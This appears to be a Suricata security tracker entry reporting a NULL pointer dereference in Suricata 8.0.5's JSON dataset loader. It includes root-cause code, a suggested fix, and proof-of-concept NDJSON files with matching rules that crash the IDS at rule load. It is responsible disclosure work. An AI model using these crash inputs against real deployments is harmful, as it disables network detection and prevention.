Security #8624
Updated by Jason Ish about 18 hours ago
Original report
<pre>
Hello Suricata Security Team
I am writing to report a NULL pointer dereference vulnerability in Suricata 8.0.5 that causes the IDS/IPS process to crash (SIGSEGV) during startup or rule reload when loading JSON/NDJSON dataset enrichment files.
─────────────────────────────────────────────────────────────────────────────
SUMMARY
─────────────────────────────────────────────────────────────────────────────
Component : src/datasets-context-json.c
Affected : Suricata 8.0.5 (latest release at time of writing)
CWE : CWE-476 (NULL Pointer Dereference)
Severity : Medium
Impact : Crash of the Suricata process; denial of detection/prevention
Attack surface: Local JSON/NDJSON enrichment feed files or rule/intel feed
update pipelines (no network traffic required)
─────────────────────────────────────────────────────────────────────────────
ROOT CAUSE
─────────────────────────────────────────────────────────────────────────────
When loading a dataset with format json or ndjson, the four functions below call json_string_value() to retrieve the string for the value_key field of each JSON object. Jansson's json_string_value() returns NULL when the node is not of JSON string type (e.g. integer, boolean, null, array, or object). The returned pointer is passed directly to strlen(), inet_pton(), or DatasetParseIpv6String()
without a NULL check, causing a NULL pointer dereference and process crash.
Affected functions and lines (src/datasets-context-json.c):
Line 470 – DatajsonAddMd5Element
const char *hash_string = json_string_value(key);
if (strlen(hash_string) != SC_MD5_HEX_LEN) { ... } // NULL dereference
Line 514 – DatajsonAddSha256Element
const char *hash_string = json_string_value(key);
if (strlen(hash_string) != SC_SHA256_HEX_LEN) { ... } // NULL dereference
Line 559 – DatajsonAddIpv4Element
const char *ip_string = json_string_value(key);
if (inet_pton(AF_INET, ip_string, &in) != 1) { ... } // NULL dereference
Line 599 – DatajsonAddIPv6Element
const char *ip_string = json_string_value(key);
int ret = DatasetParseIpv6String(set, ip_string, &in6); // NULL dereference
For the IPv4/IPv6 path, the crash occurs inside DatasetParseIpv6String() (src/datasets.c:159) where strchr(line, ':') is called with a NULL pointer:
int DatasetParseIpv6String(Dataset *set, const char *line, struct in6_addr *in6)
{
const char *got_colon = strchr(line, ':'); // crashes when line == NULL
─────────────────────────────────────────────────────────────────────────────
PROOF OF CONCEPT
─────────────────────────────────────────────────────────────────────────────
The crash is triggered by loading a syntactically valid NDJSON file where the field referenced by value_key holds a non-string JSON value. No special privileges or network access are required — only
the ability to influence the local enrichment file (e.g. via a threat-intel feed update pipeline).
Four crash cases were confirmed on Suricata 8.0.5 (with debug symbols):
Case 1: md5 dataset, value_key is a JSON integer
NDJSON file:
{"md5_value": 12345, "extra": "context"}
Suricata rule:
alert dns any any -> any any (
msg:"poc md5"; dns.query;
dataset:isset,test_md5,type md5,
load bad_md5.ndjson, format ndjson,
value_key md5_value, context_key extra;
sid:1001; rev:1;)
Crash stack (sig 11):
DatajsonAddMd5Element+0x58
DatajsonLoadTypeFromJsonline → DatajsonGet → DetectDatasetSetup
SigParse → SigLoadSignatures → SuricataInit → main
Case 2: sha256 dataset, value_key is a JSON boolean
NDJSON file:
{"sha256_value": true, "extra": "context"}
Suricata rule:
alert dns any any -> any any (
msg:"poc sha256"; dns.query;
dataset:isset,test_sha256,type sha256,
load bad_sha256.ndjson, format ndjson,
value_key sha256_value, context_key extra;
sid:1002; rev:1;)
Crash stack (sig 11):
DatajsonAddSha256Element+0x58
DatajsonLoadTypeFromJsonline → DatajsonGet → DetectDatasetSetup ...
Case 3: ip dataset, value_key is JSON null
NDJSON file:
{"ip_value": null, "extra": "context"}
Suricata rule:
alert tcp any any -> any any (
msg:"poc ip null"; flow:to_server; ip.dst;
dataset:isset,test_ip,type ip,
load bad_ipv4.ndjson, format ndjson,
value_key ip_value, context_key extra;
sid:1003; rev:1;)
Crash stack (sig 11):
DatasetParseIpv6String+0x32 ← strchr(NULL, ':')
DatajsonAddIPv6Element+0x5e
DatajsonLoadTypeFromJsonline → DatajsonGet → DetectDatasetSetup ...
Case 4: ip dataset, value_key is a JSON array
NDJSON file:
{"ip_value": [1, 2, 3], "extra": "context"}
Same rule structure as Case 3. Same crash path: strchr(NULL, ':') inside DatasetParseIpv6String.
All four cases were reproduced using suricata -T (config test mode), confirming the crash occurs at dataset load time before any traffic is processed.
─────────────────────────────────────────────────────────────────────────────
SUGGESTED FIX
─────────────────────────────────────────────────────────────────────────────
Add a NULL guard immediately after every json_string_value() call in the four affected functions:
const char *s = json_string_value(key);
if (s == NULL) {
FatalErrorOnInit("dataset %s: value_key '%s' is not a JSON string",
set->name, json_key);
return 0;
}
/* proceed with strlen / inet_pton / DatasetParseIpv6String */
We also recommend adding regression tests for all four dataset types (md5, sha256, ipv4, ipv6/ip) with non-string value_key values (integer, boolean, null, array, object) in both json and ndjson formats.
Please let me know if you need additional information, a patch, or test cases. I am happy to coordinate on a responsible disclosure timeline.
</pre>
Bug does not exist in 7 as datasets-context-json.c was introduced in 8
[Credits]
Changcheng Wu, Clouditera (https://github.com/Clouditera)